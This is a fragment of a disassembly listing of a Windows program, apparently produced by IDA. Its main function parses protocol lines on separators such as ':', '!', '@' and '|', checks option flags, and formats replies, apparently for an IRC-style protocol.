		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410662:				; CODE XREF: sub_410030+4FFj
		call	sub_401226


loc_410667:				; CODE XREF: sub_410030+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_4113F7
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	ecx, dword_4490C4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_4106A0:				; CODE XREF: sub_410030+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F8
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410722
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490FC
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410727


loc_410722:				; CODE XREF: sub_410030+69Bj
		mov	[esp+20h+var_D], 1


loc_410727:				; CODE XREF: sub_410030+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410794
		cmp	[ebp+16h], bl
		jnz	short loc_410770
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h


loc_410770:				; CODE XREF: sub_410030+713j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490CC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410794:				; CODE XREF: sub_410030+70Ej
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D4
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	short loc_410845
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41082D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015E1


loc_41082D:				; CODE XREF: sub_410030+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410845:				; CODE XREF: sub_410030+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D0
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410880
		mov	al, byte_449804
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410884


loc_410880:				; CODE XREF: sub_410030+840j
		mov	[esp+20h+var_D], bl


loc_410884:				; CODE XREF: sub_410030+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410B91
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_4108E2
		mov	ecx, eax
		call	sub_402072


loc_4108E2:				; CODE XREF: sub_410030+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41090E
		mov	ecx, eax
		call	sub_4010BE


loc_41090E:				; CODE XREF: sub_410030+8D5j
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401AAF
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410B7C


loc_41096F:				; CODE XREF: sub_410030+B46j
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_410997
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410999
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_410030+95Aj
		xor	esi, esi


loc_410999:				; CODE XREF: sub_410030+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4109CB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4109CF
; ---------------------------------------------------------------------------


loc_4109CB:				; CODE XREF: sub_410030+98Cj
		mov	[esp+20h+var_C], ebx


loc_4109CF:				; CODE XREF: sub_410030+999j
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4109F2
		mov	byte ptr [esi+93h], 1
		jmp	short loc_4109F8
; ---------------------------------------------------------------------------


loc_4109F2:				; CODE XREF: sub_410030+9B7j
		mov	[esi+93h], bl


loc_4109F8:				; CODE XREF: sub_410030+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A13
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410A19
; ---------------------------------------------------------------------------


loc_410A13:				; CODE XREF: sub_410030+9D8j
		mov	[esi+94h], bl


loc_410A19:				; CODE XREF: sub_410030+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A34
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410A3A
; ---------------------------------------------------------------------------


loc_410A34:				; CODE XREF: sub_410030+9F9j
		mov	[esi+95h], bl


loc_410A3A:				; CODE XREF: sub_410030+A02j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_448F30
		lea	ecx, [esi+54h]
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esi+3Fh]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410B29
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410B29:				; CODE XREF: sub_410030+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013DE
		inc	edi
		push	offset asc_4445EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41096F


loc_410B7C:				; CODE XREF: sub_410030+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410B91:				; CODE XREF: sub_410030+86Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490C8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410EAB
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410C0B
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410C0D
; ---------------------------------------------------------------------------


loc_410C0B:				; CODE XREF: sub_410030+BCEj
		xor	esi, esi


loc_410C0D:				; CODE XREF: sub_410030+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410C3C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410C3E
; ---------------------------------------------------------------------------


loc_410C3C:				; CODE XREF: sub_410030+BFFj
		xor	edi, edi


loc_410C3E:				; CODE XREF: sub_410030+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C60
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410C66
; ---------------------------------------------------------------------------


loc_410C60:				; CODE XREF: sub_410030+C25j
		mov	[esi+95h], bl


loc_410C66:				; CODE XREF: sub_410030+C2Ej
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C81
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410C87
; ---------------------------------------------------------------------------


loc_410C81:				; CODE XREF: sub_410030+C46j
		mov	[esi+93h], bl


loc_410C87:				; CODE XREF: sub_410030+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410CA2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410CA8
; ---------------------------------------------------------------------------


loc_410CA2:				; CODE XREF: sub_410030+C67j
		mov	[esi+94h], bl


loc_410CA8:				; CODE XREF: sub_410030+C70j
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016B8
		push	offset asc_444C60 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C60 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset a@	; "@"
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FDC
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C5C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410E7D
		add	eax, 2
		push	eax
		jmp	short loc_410E82
; ---------------------------------------------------------------------------


loc_410E7D:				; CODE XREF: sub_410030+E45j
		push	offset byte_448F30


loc_410E82:				; CODE XREF: sub_410030+E4Bj
		mov	ecx, esi
		call	sub_4015E1
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410E9F
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410E9F:				; CODE XREF: sub_410030+E64j
		mov	ecx, edi
		call	sub_4013DE
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410EAB:				; CODE XREF: sub_410030+BADj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490EC
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411080
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	edx
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_410F72
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	eax
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40212B


loc_410F72:				; CODE XREF: sub_410030+EF3j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_4E8E45
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C60 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401870
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_4493ED
		mov	[ebp+16h], bl
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411080:				; CODE XREF: sub_410030+EC7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E0
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411238
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C60 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401870
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_444C5C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		mov	esi, dword_511B04
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_411223
		push	offset asc_444C5C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_4111EB
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FDC


loc_4111EB:				; CODE XREF: sub_410030+11A9j
		push	offset byte_4E8E45
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41120F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E8E45
		push	edx
		call	sub_401FDC


loc_41120F:				; CODE XREF: sub_410030+1173j
					; sub_410030+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411223:				; CODE XREF: sub_410030+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411238:				; CODE XREF: sub_410030+109Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F0
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4112BF
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449100
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4112C4


loc_4112BF:				; CODE XREF: sub_410030+1238j
		mov	[esp+20h+var_D], 1


loc_4112C4:				; CODE XREF: sub_410030+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C60 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C60 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_444C60 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40212B
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_4113F7
; ---------------------------------------------------------------------------


loc_4113F0:				; CODE XREF: sub_410030+391j
		mov	ecx, ebp
		call	sub_401D20


loc_4113F7:				; CODE XREF: sub_410030+1D3j
					; sub_410030+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_410072


loc_411400:				; CODE XREF: sub_410030+3Cj
					; sub_410030+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_410030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411930	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402072
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411930	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4119B0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016F4j
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4119C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4119C8:				; CODE XREF: ___:004119BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4119E0	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4119E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401979
		mov	ecx, esi
